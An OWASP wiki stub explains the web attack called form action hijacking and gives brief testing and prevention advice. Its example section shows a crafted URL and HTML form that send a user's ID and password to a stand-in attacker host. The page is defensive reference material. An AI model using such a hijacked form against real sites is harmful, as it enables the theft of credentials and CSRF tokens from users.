Form action hijacking

From OWASP
Jump to: navigation, search
This article is a stub. You can help OWASP by expanding it or discussing it on its Talk page.


This is an Attack. To view all attacks, please see the Attack Category page.


Last revision (mm/dd/yy): 09/12/2017

Overview

Form action hijacking allows an attacker to specify the action URL of a form via a paramter. An attacker can construct a URL that will modify the action URL of a form to point to the attacker's server. Form content including CSRF tokens, user entered parameter values, and any other of the forms content will be delivered to the attacker via the hijacked action URL.


How to Test for Form Action Hijacking Vulnerabilities

Check parameter values passed to the form action. See example below.

How to Prevent Form Action Hijacking Vulnerabilities

Hard-code the form action URL or use a whitelist of allowed URLs.

Examples

The following URL will generate the a form and set the "url" parameter as the from action URL. When the form is submitted, the ID and password will be sent to the attacker's site.

URL:

https://vulnerablehost.com/?url=https://attackersite.com

Source:

<form name="form1" id="form1" method="post" action="https://attackersite.com">
    <input type="text" name="id" value="user name">
    <input type="password" name="pass" value="password">
    <input type="submit" name="submit" value="Submit">
</form>

References